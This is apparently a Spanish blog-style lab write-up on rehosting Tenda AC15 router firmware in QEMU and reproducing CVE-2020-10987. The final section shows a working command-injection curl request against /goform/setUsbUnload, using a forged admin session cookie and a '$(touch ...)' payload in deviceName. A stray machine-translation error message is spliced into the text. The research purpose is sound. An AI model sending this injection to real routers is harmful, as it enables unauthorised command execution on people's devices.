
Informe sobre el re-hosting del firmware del router Tenda AC15 y la replicación del exploit de ejecución remota de comandos (CVE-2020-10987).
Esta publicación muestra exactamente cómo emulé el servidor web del firmware AC15 (V15.03.05.19) con QEMU, lo hice accesible desde el navegador del host y ejercité el manejador vulnerable /goform/setUsbUnload (CVE-2020-10987) para obtener ejecución de comandos dentro del rootfs emulado.
squashfs de la imagen del firmware y empezar a hacer ingeniería inversaPrimero necesitamos obtener nuestra imagen de firmware. No pude encontrar la descarga de la imagen para AC15 V15.03.05.19, sin embargo pude encontrar un repositorio de GitHub con el sistema de archivos squashfs ya extraído.
Si tuviéramos el archivo de imagen correcto, podríamos extraerlo usando binwalk de la siguiente manera,```
user@computer $ binwalk -e AC15_V15.03.05.19.bin
64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes 1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08
user@computer $ cd _AC15_V15.03.05.19.bin.extracted
Como no tenemos el archivo de imagen correcto, pero sí un repositorio con el sistema de archivos ya extraído, podemos simplemente clonar el repositorio.```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061
He creado un directorio llamado VR y clonado este repo dentro de él. Mi rootfs está en $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs
Genial, ahora tenemos nuestro firmware AC15 V15.03.05.19. Pasemos a algo de reversing para ver qué está pasando.
Usaré Ghidra 11.4.2 para mi reversing.
Naveguemos hasta nuestro binario objetivo en rootfs/bin/httpd y carguémoslo en Ghidra.
Si vamos a la función formsetUsbUnload podemos ver,```C
uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc);
doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1);
FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n");
FUN_0002c6cc(param_1,"{"errCode":0}");
FUN_0002cc14(param_1,200);
return;
Esta es la vulnerabilidad. El parámetro `deviceName` se pasa directamente a `doSystemCmd`, lo que nos permite enviar los comandos que queramos.
Ahora, dado que vamos a rehospedar este firmware usando qemu y no el hardware original del router, algunos programas van a intentar alcanzar dispositivos que no existen y provocarán un fallo en nuestro arranque.
Como nuestro objetivo es explotar el servidor web (`httpd`), me centré únicamente en rehospedar ese binario y no todo el arranque (`/rootfs/etc_ro/init.d/rcS`). _En retrospectiva, no estoy seguro de que esa fuera la decisión correcta_
Así que al revisar `rcS`, quería encontrar cualquier cosa que `rcS` pudiera hacer y que `httpd` necesitara. Hacia el final del archivo podemos ver:```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &
rcS inicia cfmd en segundo plano justo antes de que el resto de la pila se ponga en marcha.
Tras investigar un poco más y observar cómo la función vulnerable envía el comando, llegué a la conclusión de que:
httpd construye un cfm postcfm se comunica con cfmd a través de un socket de dominio UNIX (p. ej. /var/cfm_socket)En la rutina InitServer de cfmd podemos ver```C
unlink("/var/cfm_socket");
strncpy(sa_unix.sun_path, "/var/cfm_socket", ...);
bind(fd, (sockaddr*)&sa_unix, 0x6e);
listen(fd, 5);
Crea un socket UIX y escucha.
En general, cómo funciona es que el handler lee una trama fija de 0x7e0 bytes de cada cliente (`RecvMsg`/`SendMsg`). Los primeros 4 bytes son un código de comando; luego hay un buffer de clave de 512 bytes y un buffer de valor de 1500 bytes (puedes ver los tamaños de los objetos de pila en el handler). Cambia según el opcode y responde con un código ACK:
- `2` -> Get: `GetCfmValue(key, value)` y luego responde con código `3`
- `0` -> Set: `SetCfmValue(key, value)` y luego responde con código `1`
- `0x11` -> Unset: `UnSetCfmValue(key)` y luego responde con código `0x12`
- `10` -> Commit: `SaveCfm2Flash()` y luego responde `0x10` (OK) o `0xB` (error)
Así que para emular `cfmd` creé un script corto `cfm_stub````C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>
#define SOCK_PATH "/var/cfm_socket"
// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
int s = socket(AF_UNIX, SOCK_STREAM, 0);
struct sockaddr_un addr = {0};
if (s < 0) { perror("socket"); return 1; }
unlink(SOCK_PATH);
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
if (listen(s, 5) < 0) { perror("listen"); return 1; }
for (;;) {
int c = accept(s, NULL, NULL);
if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
if (n > 0) {
// In some builds httpd asks for "lan.webiplansslen" etc.
// Any non-empty reply that looks like an IP keeps init happy.
const char *reply = "192.168.0.1";
write(c, reply, strlen(reply));
}
close(c);
}
close(s);
return 0;
}
Mostraré cómo compilar esto después de la siguiente parte.
El siguiente archivo auxiliar es hooks.so. Hay algunas funciones que se usan en httpd y cfm que intentan interactuar con hardware inexistente.
Lo siguiente es lo que nuestro programa asume al iniciar:
/dev/nvram) y devuelve valores predeterminados razonables.Las siguientes funciones se convierten en un problema y por lo tanto tenemos que parchearlas con LD_PRELOAD=/hooks.so.
get_flash_type() -> si devuelve 4, el código toma una ruta basada en archivos (cfm_file_init); de lo contrario, intenta hablar con MTD (que no tenemos).get_cfm_blk_size_from_cache() (y/o la variante j_get_cfm_blk_size_from_cache) se consulta para el tamaño de bloques de configuración.bcm_nvram_get) no deben fallar o la pila asume “NVRAM destruida” y entra en la lógica de restauración/reinicio.load_l7setting_file() y restore_power() tengan éxito, pero tocan hardware/archivos inexistentes.Aquí está nuestro hooks.c. Crédito a azeria-labs por el original.```C
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
int j_get_cfm_blk_size_from_cache(const int i) { puts("j_get_cfm_blk_size_from_cache called....\n"); return 0x20000; // 128 KiB block — what the file path expects }
int get_flash_type() { puts("get_flash_type called....\n"); return 4; // force file-backed CFM init, not MTD }
int load_l7setting_file() { puts("load_l7setting_file called....\n"); return 1; // pretend Layer-7 settings loaded OK }
int restore_power(int a, int b) { puts("restore_power called....\n"); return 0; // success (don’t touch RF/power hardware) }
char *bcm_nvram_get(char *key) { char *value = NULL;
if (strcmp(key, "et0macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works } if (strcmp(key, "sb/1/macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FD"); } if (strcmp(key, "default_nvram") == 0) { value = strdup("default_nvram"); // signals “nvram is OK” }
printf("bcm_nvram_get(%s) == %s\n", key, value); return value; }
Now lets compile these files and place them in our firmware.
To cross compile we can use Bootlin’s prebuilt uClibc toolchain.
Ahora compilemos estos archivos y coloquémoslos en nuestro firmware.
Para la compilación cruzada podemos usar el toolchain uClibc precompilado de Bootlin.```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc
No se recibió contenido para traducir en esta entrada (el campo INPUT está vacío o solo contiene un marcador de posición).```bash arm-buildroot-linux-uclibcgnueabi-gcc arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0 arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real arm-buildroot-linux-uclibcgnueabi-gcc-ar arm-buildroot-linux-uclibcgnueabi-gcc.br_real arm-buildroot-linux-uclibcgnueabi-gcc-nm arm-buildroot-linux-uclibcgnueabi-gcc-ranlib arm-linux-gcc arm-linux-gcc-9.3.0 arm-linux-gcc-9.3.0.br_real arm-linux-gcc-ar arm-linux-gcc.br_real arm-linux-gcc-nm arm-linux-gcc-ranlib
Ahora podemos compilar con```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c
Luego, por último, instálalos en el firmware``` $FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs" install -m 0644 ./hooks.so "$FIRM/hooks.so" install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"
## Construyendo un sistema invitado ARM
Configuraremos nuestro invitado ARM usando qemu full system.
Creé un directorio para contener este sistema invitado en `~/qsys`
Ahora, en este directorio, configuremos nuestro invitado haciendo lo siguiente```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf
sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage
cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF
sudo chroot ~/qsys/rootfs-armhf apt-get update
sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
ifupdown curl ca-certificates
sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'
Esto creará nuestro rootfs armhf, actualizará nuestro sistema invitado, configurará algunas herramientas base y luego establecerá nuestro username:password de root a root:root.
A continuación, instale el kernel armhf con```bash sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp
Luego copiamos el kernel y creamos la imagen ext4.```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/
dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt
Ahora para iniciar nuestro sistema invitado
Desde ~/qsys ejecuta```bash
qemu-system-arm
-M vexpress-a9 -cpu cortex-a9 -m 512M
-kernel ./kernel/zImage
-dtb ./kernel/vexpress-v2p-ca9.dtb
-initrd ./kernel/initrd.img
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"
-nographic -audiodev none,id=noaudio
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
-drive file=./armhf.ext4,if=sd,format=raw
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fw
Aquí tienes un resumen rápido de lo que significan estas líneas en el comando de inicio.
- `-M vexpress-a9 -cpu cortex-a9 -m 512M` Usa el modelo de placa Versatile Express A9 (una placa soportada por el kernel armmp de Debian).
- `-kernel/-dtb/-initr` Arranca el kernel/initrd de Debian para esta placa, con el device-tree blob de vexpress.
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` Configuración estándar de rootfs en tarjeta SD con consola serie en PL011.
- `-nographic -audiodev none,id=noaudio` Interfaz solo serie (sin ventana SDL) y sin audio.
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` NAT en modo usuario de QEMU; reenvía `host:2222` a `guest:22` y `host:8080` a `guest:80`. Esto es importante para la red. Hablaremos de esto más adelante.
- `-device virtio-net-device,netdev=net0` Adjunta una NIC al backend `net0`.
- `-drive file=./armhf.ext4,if=sd,format=raw` El rootfs de Debian reside en un dispositivo de bloque tipo SD (`/dev/mmcblk0`).
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` Expone el rootfs del firmware (de solo lectura) al invitado a través de 9p con la etiqueta `fw`. Lo montaremos en `/firmware` y pondremos un overlayfs encima para que sea escribible.
Ahora, dentro del invitado, puede que veas algunos errores. Eso está bien siempre que llegues al aviso de inicio de sesión y puedas iniciar sesión con `root:root`.
A continuación, para tener internet en nuestro sistema invitado, ejecuta lo siguiente.```
dhclient -v eth0 || udhcpc -i eth0
Esto obtendrá una concesión DHCP en eth0
Ahora instala socat``` apt-get update && apt-get install -y socat
## Script de arranque
A continuación, vamos a crear nuestro script de arranque dentro del directorio raíz del invitado.```bash
nano boot_tenda.sh
Aquí está nuestro script de arranque /root/boot_tenda_sh dentro de nuestra máquina invitada con comentarios que explican cada paso.```bash
set -e
mkdir -p /firmware mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware
for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done
rm -rf /overlay_run
mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw
mount -t overlay overlay
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work
/mnt/fw
mount --bind /dev /mnt/fw/dev mount --bind /proc /mnt/fw/proc mount --bind /sys /mnt/fw/sys mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp
ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up
pidof syslogd >/dev/null || syslogd
chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'
chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' sleep 1 [ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"
chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' sleep 2
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
if command -v socat >/dev/null; then
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80
>/root/socat.log 2>&1 &
else
echo "socat not found"
fi
(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true
Ahora es el momento de ejecutarlo```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh
Deberías ver un listener en el puerto 80 con httpd.
Para verificarlo más a fondo, navega a http://127.0.0.1:8080/ en tu host y podrás ver la página de inicio del router.
Si quieres obtener más información sobre cómo funciona la red, continúa leyendo; si no, puedes saltar a la última sección donde explotamos el servidor web.
Necesitábamos cargar el httpd del router dentro del guest, pero hacerlo accesible desde el navegador del host en http://127.0.0.1:8080/ mientras el servidor sigue creyendo que está vinculado a la IP LAN del router (192.168.0.1).
Hay tres piezas que hacen que esto funcione:
br0 en 192.168.0.1)socat)Hacemos esto en el comando de inicio cuando especificamos```bash -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 -device virtio-net-device,netdev=net0
- `-netdev user,...` habilita slirp (NAT en modo usuario de QEMU): el invitado obtiene acceso a Internet saliente (DHCP, DNS) sin necesidad de puentes root ni dispositivos TAP en el anfitrión.
- `hostfwd=tcp::2222-:22` redirige el puerto 2222 del anfitrión -> puerto 22 del invitado.
- `hostfwd=tcp::8080-:80` redirige el puerto 8080 del anfitrión -> puerto 80 del invitado.
Luego obtenemos la concesión DHCP para `eth0`. Ten en cuenta que Slirp normalmente asigna al invitado `10.0.2.15`, con la puerta de enlace en `10.0.2.2`.```bash
dhclient -v eth0 || udhcpc -i eth0
El firmware real espera vincularse al puente LAN br0 en 192.168.0.1. Recreamos eso:```bash ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up
- Los binarios (o sus librerías) a menudo consultan nombres de interfaz (p. ej., `lan_ifname=br0`) y esperan un dispositivo puente.
- Vincular httpd a `192.168.0.1` mantiene el comportamiento/redirecciones (p. ej., `302` a `http://192.168.0.1/main.html`) idénticos a los del dispositivo real.
- En este punto, httpd solo escucha en `192.168.0.1:80` (no en el `eth0` del invitado).
### 3. Puentear hostfwd -> listener del firmware con `socat`
`host:8080` -> `guest:80` ya está configurado por QEMU. Pero `httpd` no está escuchando en `eth0:80` del invitado; escucha en `192.168.0.1:80`. Así que dentro del invitado añadimos un pequeño relay TCP:```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')
# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
>/root/socat.log 2>&1 &
Aquí está el diseño general.``` Host browser (127.0.0.1:8080) │ V QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15) │ V socat in guest: 10.0.2.15:80 → 192.168.0.1:80 │ V httpd bound at 192.168.0.1:80 (inside firmware chroot)
## Tiempo de explotación
La pila web protege los endpoints “goform” detrás de comprobaciones de mismo origen/AJAX y una cookie de “sesión iniciada”. Envía los mismos encabezados que enviaría el JavaScript de la interfaz de usuario:```bash
curl -v \
-H 'Host: 192.168.0.1' \
-H 'Origin: http://192.168.0.1' \
-H 'Referer: http://192.168.0.1/index.html' \
-H 'X-Requested-With: XMLHttpRequest' \
-H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'deviceName=$(touch /tmp/Hello_World)' \
http://127.0.0.1:8080/goform/setUsbUnload
¿Qué hace esto exactamente?
Host/Origin/Referer/X-Requested-With pasa las comprobaciones de AJAX + mismo origen en el manejadorCookie: user=admin; password=<md5> simula una sesión iniciada. En este caso usé md5("admin") = 21232f297a57a5a743894a0e4a801fc3deviceName=$(touch /tmp/Hello_World) establece el nombre del dispositivo al comando que queremos ejecutar. En este caso estamos creando un archivo /tmp/Hello_World
Nota: ejecutar este comando hará que el proceso se cuelgue durante un rato y luego lo más probable es que cierre la conexión con un error. Esto es normal y prueba de que funcionó.A continuación, en el invitado, para verificarlo aún más, podemos comprobar la existencia de nuestro nuevo archivo.```bash chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"
Deberías ver```
-rw-r--r-- 1 root root 0 ... /tmp/Hello_World
success it worked!
Explotamos con éxito nuestro router reubicado al ejecutar el comando que enviamos